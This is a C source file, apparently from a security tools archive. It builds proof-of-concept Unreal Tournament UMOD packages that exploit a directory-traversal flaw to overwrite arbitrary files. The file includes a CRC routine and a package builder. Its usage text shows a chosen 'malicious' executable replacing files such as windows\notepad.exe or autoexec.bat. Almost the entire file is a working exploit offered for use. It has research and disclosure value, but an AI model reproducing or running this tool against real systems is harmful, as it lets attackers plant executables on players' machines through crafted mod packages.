home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / games / ut2004 / umodUnrealTournamentFileWritePOC.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  11KB  |  484 lines

  1. /*
  2.  
  3. by Luigi Auriemma
  4.  
  5. UNIX & WIN VERSION
  6.  
  7.  
  8. UMOD CRC calculation 0.2
  9. by Luigi Auriemma
  10. e-mail: aluigi@altervista.org
  11.  
  12. web:    http://aluigi.altervista.org
  13.  
  14.  
  15. This function must be used to calculate the CRC checksum used in the
  16. umod files.
  17.  
  18. For more informations about the umod file format read my document
  19. and my relative 
  20. tools on my website in the section dedicated to the
  21. Unreal engine.
  22.  
  23.  
  24. How to use, 
  25. the 2 possible methods:printf("CRC: 0x%08lx\n", umodcrc("test.umod", 0));
  26. 2) 
  27. fd = fopen("test.umod", "rb");printf("CRC: 0x%08lx\n", umodcrc(NULL, fd);
  28.  
  29.  
  30.  
  31. Return value:
  32. The value is the CRC of the file or 0xffffffff (-1) 
  33. if there are
  34. errors
  35.  
  36.  
  37. Practically if you pass NULL as filename, 
  38. the function will use the FILE
  39. descriptor passed as second argument 
  40. otherwise the function will open the
  41. file using the first parameter (filename)
  42.  
  43.  
  44. This source is covered by GNU/GPL
  45.  
  46.  
  47.  
  48. */
  49.  
  50. #include <stdio.h>
  51. #include <stdlib.h>
  52. #include <string.h>
  53. #include <sys/stat.h>
  54. #include "umodcrc.h"
  55.  
  56.  
  57. #ifndef u_long
  58.     #define u_long  unsigned long
  59.  
  60. #endif
  61.  
  62. #ifndef u_char
  63.  
  64.     #define u_char  unsigned char
  65.  
  66. #endif
  67.  
  68.  
  69.  
  70.  
  71.  
  72.  
  73.  
  74. #define UT2BUFFSZ   0x4000
  75.  
  76.  
  77.  
  78.  
  79.  
  80.     /* complete CRC calculation */
  81.  
  82.  
  83.  
  84. u_long umodcrc(
  85.     
  86.     u_char *filename,   /* name of the file for CRC calculation */
  87.     
  88.     FILE *fdopen        /* FILE descriptor */
  89.  
  90. );
  91.  
  92.  
  93.  
  94.     
  95. /* CRC algorithm */
  96.  
  97.  
  98. u_long appmemcrc(
  99.  
  100.     u_char *data,       /* buffer containing the data from the file */
  101.     
  102.     u_long size,        /* size of the data */
  103.  
  104.     u_long oldcrc       /* previous CRC, it must start from 0 */
  105.  
  106. );
  107.  
  108.  
  109.  
  110.  
  111.  
  112.  
  113.  
  114. u_long  gcrctable[] = {
  115.  0x00000000, 0x04c11db7, 0x09823b6e, 0x0d4326d9,
  116.  0x130476dc, 0x17c56b6b, 0x1a864db2, 0x1e475005,
  117.  0x2608edb8, 0x22c9f00f, 0x2f8ad6d6, 0x2b4bcb61,
  118.  0x350c9b64, 0x31cd86d3, 0x3c8ea00a, 0x384fbdbd,
  119.  0x4c11db70, 0x48d0c6c7, 0x4593e01e, 0x4152fda9,
  120.  0x5f15adac, 0x5bd4b01b, 0x569796c2, 0x52568b75,
  121.  0x6a1936c8, 0x6ed82b7f, 0x639b0da6, 0x675a1011,
  122.  0x791d4014, 0x7ddc5da3, 0x709f7b7a, 0x745e66cd,
  123.  0x9823b6e0, 0x9ce2ab57, 0x91a18d8e, 0x95609039,
  124.  0x8b27c03c, 0x8fe6dd8b, 0x82a5fb52, 0x8664e6e5,
  125.  0xbe2b5b58, 0xbaea46ef, 0xb7a96036, 0xb3687d81,
  126.  0xad2f2d84, 0xa9ee3033, 0xa4ad16ea, 0xa06c0b5d,
  127.  0xd4326d90, 0xd0f37027, 0xddb056fe, 0xd9714b49,
  128.  0xc7361b4c, 0xc3f706fb, 0xceb42022, 0xca753d95,
  129.  0xf23a8028, 0xf6fb9d9f, 0xfbb8bb46, 0xff79a6f1,
  130.  0xe13ef6f4, 0xe5ffeb43, 0xe8bccd9a, 0xec7dd02d,
  131.  0x34867077, 0x30476dc0, 0x3d044b19, 0x39c556ae,
  132.  0x278206ab, 0x23431b1c, 0x2e003dc5, 0x2ac12072,
  133.  0x128e9dcf, 0x164f8078, 0x1b0ca6a1, 0x1fcdbb16,
  134.  0x018aeb13, 0x054bf6a4, 0x0808d07d, 0x0cc9cdca,
  135.  0x7897ab07, 0x7c56b6b0, 0x71159069, 0x75d48dde,
  136.  0x6b93dddb, 0x6f52c06c, 0x6211e6b5, 0x66d0fb02,
  137.  0x5e9f46bf, 0x5a5e5b08, 0x571d7dd1, 0x53dc6066,
  138.  0x4d9b3063, 0x495a2dd4, 0x44190b0d, 0x40d816ba,
  139.  0xaca5c697, 0xa864db20, 0xa527fdf9, 0xa1e6e04e,
  140.  0xbfa1b04b, 0xbb60adfc, 0xb6238b25, 0xb2e29692,
  141.  0x8aad2b2f, 0x8e6c3698, 0x832f1041, 0x87ee0df6,
  142.  0x99a95df3, 0x9d684044, 0x902b669d, 0x94ea7b2a,
  143.  0xe0b41de7, 0xe4750050, 0xe9362689, 0xedf73b3e,
  144.  0xf3b06b3b, 0xf771768c, 0xfa325055, 0xfef34de2,
  145.  0xc6bcf05f, 0xc27dede8, 0xcf3ecb31, 0xcbffd686,
  146.  0xd5b88683, 0xd1799b34, 0xdc3abded, 0xd8fba05a,
  147.  0x690ce0ee, 0x6dcdfd59, 0x608edb80, 0x644fc637,
  148.  0x7a089632, 0x7ec98b85, 0x738aad5c, 0x774bb0eb,
  149.  0x4f040d56, 0x4bc510e1, 0x46863638, 0x42472b8f,
  150.  0x5c007b8a, 0x58c1663d, 0x558240e4, 0x51435d53,
  151.  0x251d3b9e, 0x21dc2629, 0x2c9f00f0, 0x285e1d47,
  152.  0x36194d42, 0x32d850f5, 0x3f9b762c, 0x3b5a6b9b,
  153.  0x0315d626, 0x07d4cb91, 0x0a97ed48, 0x0e56f0ff,
  154.  0x1011a0fa, 0x14d0bd4d, 0x19939b94, 0x1d528623,
  155.  0xf12f560e, 0xf5ee4bb9, 0xf8ad6d60, 0xfc6c70d7,
  156.  0xe22b20d2, 0xe6ea3d65, 0xeba91bbc, 0xef68060b,
  157.  0xd727bbb6, 0xd3e6a601, 0xdea580d8, 0xda649d6f,
  158.  0xc423cd6a, 0xc0e2d0dd, 0xcda1f604, 0xc960ebb3,
  159.  0xbd3e8d7e, 0xb9ff90c9, 0xb4bcb610, 0xb07daba7,
  160.  0xae3afba2, 0xaafbe615, 0xa7b8c0cc, 0xa379dd7b,
  161.  0x9b3660c6, 0x9ff77d71, 0x92b45ba8, 0x9675461f,
  162.  0x8832161a, 0x8cf30bad, 0x81b02d74, 0x857130c3,
  163.  0x5d8a9099, 0x594b8d2e, 0x5408abf7, 0x50c9b640,
  164.  0x4e8ee645, 0x4a4ffbf2, 0x470cdd2b, 0x43cdc09c,
  165.  0x7b827d21, 0x7f436096, 0x7200464f, 0x76c15bf8,
  166.  0x68860bfd, 0x6c47164a, 0x61043093, 0x65c52d24,
  167.  0x119b4be9, 0x155a565e, 0x18197087, 0x1cd86d30,
  168.  0x029f3d35, 0x065e2082, 0x0b1d065b, 0x0fdc1bec,
  169.  0x3793a651, 0x3352bbe6, 0x3e119d3f, 0x3ad08088,
  170.  0x2497d08d, 0x2056cd3a, 0x2d15ebe3, 0x29d4f654,
  171.  0xc5a92679, 0xc1683bce, 0xcc2b1d17, 0xc8ea00a0,
  172.  0xd6ad50a5, 0xd26c4d12, 0xdf2f6bcb, 0xdbee767c,
  173.  0xe3a1cbc1, 0xe760d676, 0xea23f0af, 0xeee2ed18,
  174.  0xf0a5bd1d, 0xf464a0aa, 0xf9278673, 0xfde69bc4,
  175.  0x89b8fd09, 0x8d79e0be, 0x803ac667, 0x84fbdbd0,
  176.  0x9abc8bd5, 0x9e7d9662, 0x933eb0bb, 0x97ffad0c,
  177.  0xafb010b1, 0xab710d06, 0xa6322bdf, 0xa2f33668,
  178.  0xbcb4666d, 0xb8757bda, 0xb5365d03, 0xb1f740b4 };
  179.  
  180.  
  181.  
  182.  
  183.  
  184.  
  185.  
  186.  
  187. u_long umodcrc(u_char *filename, FILE *fdopen) {
  188.     FILE            *fd;
  189.     int             err,
  190.  len;
  191.     u_char          *buff;
  192.     u_long          crc = 0x00000000,
  193. oldoff = 0;
  194.     struct stat    xstat;
  195.  
  196.  
  197.     
  198.     
  199.     if(filename) {
  200.         
  201.         fd = fopen(filename, "rb");
  202.  
  203.         if(!fd) return(-1);
  204.     
  205.     } else {
  206.  
  207.         fd = fdopen;
  208.         oldoff = ftell(fd);     // methodic and ordinate 8-)
  209.     }
  210.  
  211.     
  212.  
  213.     err = fstat(fileno(fd), &xstat);
  214.  
  215.  
  216.     if(err < 0) return(-1);
  217.     if(xstat.st_size >= 20) xstat.st_size -= 20;
  218.  
  219.     else return(-1);
  220.  
  221.  
  222.  
  223.     buff = malloc(UT2BUFFSZ);
  224.     if(!buff) return(-1);
  225.     len = UT2BUFFSZ;
  226.  
  227.  
  228.     do {
  229.  
  230.         if(len > xstat.st_size) len = xstat.st_size;
  231.         err = fread(buff, len, 1, fd);
  232.         if(err != 1) break;
  233.         crc = appmemcrc(buff, len, crc);
  234.         xstat.st_size -= len;
  235.  
  236.     } while(xstat.st_size);
  237.  
  238.     if(filename) fclose(fd);
  239.  
  240.     else fseek(fd, oldoff, SEEK_SET);
  241.  
  242.  
  243.  
  244.     free(buff);
  245.  
  246.     return(crc);
  247.  
  248.  
  249. }
  250.  
  251.  
  252.  
  253.  
  254.  
  255.  
  256.  
  257.  
  258.  
  259.  
  260. u_long appmemcrc(u_char *data, u_long size, u_long oldcrc)
  261. {
  262.  
  263.     oldcrc = ~oldcrc;
  264.  
  265.     for(; size > 0; size--, data++) {
  266.  
  267.         oldcrc = (oldcrc << 8) ^ gcrctable[*data ^ (oldcrc >> 24)];
  268.  
  269.     }
  270.  
  271.     return(~oldcrc);
  272.  
  273. }
  274.  
  275.  
  276.  
  277.  
  278. /********************************************************************/
  279.  
  280.  
  281. #ifdef WIN32
  282.     #include <direct.h>
  283.     #include <malloc.h>
  284.  
  285.     #define u_long  unsigned long
  286.     #define u_char  unsigned char
  287. #else
  288.     #include <unistd.h>
  289.     #include <sys/stat.h>
  290. #endif
  291.  
  292.  
  293.  
  294.  
  295. #define VER         "0.1"
  296. #define BUFFSZ      16384
  297. #define UMODSIGN    0x9fe3c5a3
  298. #define MANIFEST    \
  299.     "[Setup]\n" \
  300.     "Product=Arbitrary file ovewriting by Luigi Auriemma\n" \
  301.     "Version=1\n" \
  302.     "Archive=%s\n" \
  303.     "SrcPath=.\n" \
  304.     "MasterPath=..\n" \
  305.     "StartProduct=UMODPoC\n" \
  306.     "\n" \
  307.     "Group=SetupGroup\n" \
  308.     "\n" \
  309.     "[SetupGroup]\n" \
  310.     "Copy=(Src="MANINI",Master="MANINI",Flags=3)\n" \
  311.     "File=(Src=%s)\n"
  312. #define MANINI      "System\\Manifest.ini"
  313.  
  314.  
  315.  
  316.  
  317. void std_err(void);
  318. void io_err(void);
  319.  
  320.  
  321.  
  322.  
  323. int main(int argc, char *argv[]) {
  324.     FILE    *fdin,
  325.             *fdmod;
  326.     u_char  *buff;
  327.     u_long  offset,
  328.             manifestsz;
  329.     int     err;
  330.     struct  stat    xstat;
  331.     struct end {
  332.         u_long  sign;
  333.         u_long  indexstart;
  334.         u_long  indexend;
  335.         u_long  one;
  336.         u_long  crc;
  337.     } end;
  338.  
  339.  
  340.     setbuf(stdout, NULL);
  341.  
  342.     fputs("\n"
  343.         "UMOD arbitrary file overwriting proof-of-concept maker "VER"\n"
  344.         "  Vulnerable games:\n"
  345.         "  - Unreal Tournament      <= 451b\n"
  346.         "  - Unreal Tournament 2003 <= 2225\n"
  347.         "by Luigi Auriemma\n"
  348.         "e-mail: aluigi@altervista.org\n"
  349.         "web:    http://aluigi.altervista.org\n"
  350.         "\n", stdout);
  351.  
  352.     if(argc < 4) {
  353.         printf("\n"
  354.             "Usage: %s <malicious_file> <\"fake_file_name\"> <file.umod/ut2mod>\n"
  355.             "\n"
  356.             "You must use a filename with directory traversal exploitation\n"
  357.             "For example:\n"
  358.             "..\\..\\..\\autoexec.bat\n"
  359.             "..\\..\\..\\windows\\system.ini\n"
  360.             "\n"
  361.             "Simple usage example:\n"
  362.             "\n"
  363.             "%s malicious.exe \"..\\..\\..\\windows\\notepad.exe\" useme.umod\n"
  364.             "\n", argv[0], argv[0]);
  365.         exit(1);
  366.     }
  367.  
  368.     printf("Opening %s\n", argv[1]);
  369.     fdin = fopen(argv[1], "rb");
  370.     if(!fdin) std_err();
  371.     err = fstat(fileno(fdin), &xstat);
  372.     if(err < 0) std_err();
  373.     printf("Size: %lu\n\n", xstat.st_size);
  374.  
  375.     buff = malloc(BUFFSZ + 1);
  376.     if(!buff) std_err();
  377.  
  378.     manifestsz = snprintf(
  379.         buff,
  380.         BUFFSZ,
  381.         MANIFEST,
  382.         argv[3],
  383.         argv[2]);
  384.  
  385.     printf("Build virtual "MANINI"\n"
  386.             "Size: %lu\n"
  387.             "\n", manifestsz);
  388.  
  389.     printf("Creating %s\n\n", argv[3]);
  390.     fdmod = fopen(argv[3], "wb");
  391.     if(!fdmod) std_err();
  392.  
  393.     if(fwrite(buff, manifestsz, 1, fdmod) != 1) io_err();
  394.     err = manifestsz;
  395.     while(err & 0xf) {      /* useless but all the UMODs does the same */
  396.         fputc(0x00, fdmod);
  397.         err++;
  398.     }
  399.  
  400.     offset = ftell(fdmod);                          // malicious file offset
  401.  
  402.     while(1) {
  403.         err = fread(buff, 1, BUFFSZ, fdin);
  404.         if(!err) break;
  405.         if(fwrite(buff, err, 1, fdmod) != 1) io_err();
  406.     }
  407.     fclose(fdin);
  408.     err = ftell(fdmod);
  409.     while(err & 0xf) {      /* useless but all the UMODs does the same */
  410.         fputc(0x00, fdmod);
  411.         err++;
  412.     }
  413.  
  414.     end.indexstart = err;                           // starting of index
  415.  
  416.     fputc(2, fdmod);                                // number of files
  417.  
  418.     fputc(sizeof(MANINI) - 1, fdmod);               // filename size
  419.     fwrite(MANINI, sizeof(MANINI) - 1, 1, fdmod);   // filename
  420.     fwrite("\x00\x00\x00\x00", 4, 1, fdmod);        // starting offset
  421.     fwrite((void *)&manifestsz, 4, 1, fdmod);       // size of the file
  422.     fwrite("\x03\x00\x00\x00", 4, 1, fdmod);        // flag
  423.  
  424.     err = strlen(argv[2]) + 1;
  425.     fputc(err, fdmod);
  426.     fwrite(argv[2], err, 1, fdmod);
  427.     fwrite((void *)&offset, 4, 1, fdmod);
  428.     fwrite((void *)&xstat.st_size, 4, 1, fdmod);
  429.     fwrite("\x00\x00\x00\x00", 4, 1, fdmod);
  430.  
  431.     end.sign     = UMODSIGN;                        // umod sign
  432.     end.indexend = ftell(fdmod) + sizeof(end);      // index ending
  433.     end.one      = 1;                               // 1
  434.     end.crc      = 0x00000000;                      // crc (calculated later)
  435.  
  436.     fwrite((void *)&end, sizeof(end), 1, fdmod);
  437.  
  438.         /* crc checking */
  439.     fflush(fdmod);
  440.     end.crc = umodcrc(argv[3], 0);
  441.     fseek(fdmod, -4, SEEK_CUR);
  442.     fwrite((void *)&end.crc, 4, 1, fdmod);
  443.  
  444.     fclose(fdmod);
  445.  
  446.     printf("\n"
  447.         "Informations about %s:\n"
  448.         "-------------------\n"
  449.         "Index section offset: 0x%08lx\n"
  450.         "Total package size:   %lu\n"
  451.         "CRC:                  %08lx\n"
  452.         "\n"
  453.         "Files contained:\n"
  454.         MANINI"   (used for installation)\n"
  455.         "%s\n"
  456.         "\n"
  457.         "Proof-of-concept successfully created!\n",
  458.         argv[3],
  459.         end.indexstart,
  460.         end.indexend,
  461.         end.crc,
  462.         argv[2]);
  463.  
  464.     return(0);
  465. }
  466.  
  467.  
  468.  
  469.  
  470. void std_err(void) {
  471.     perror("\nError");
  472.     exit(1);
  473. }
  474.  
  475.  
  476.  
  477.  
  478. void io_err(void) {
  479.     fputs("\nError: I/O error, the file is incomplete or the disk space is finished\n", stdout);
  480.     exit(1);
  481. }
  482.  
  483.  
  484.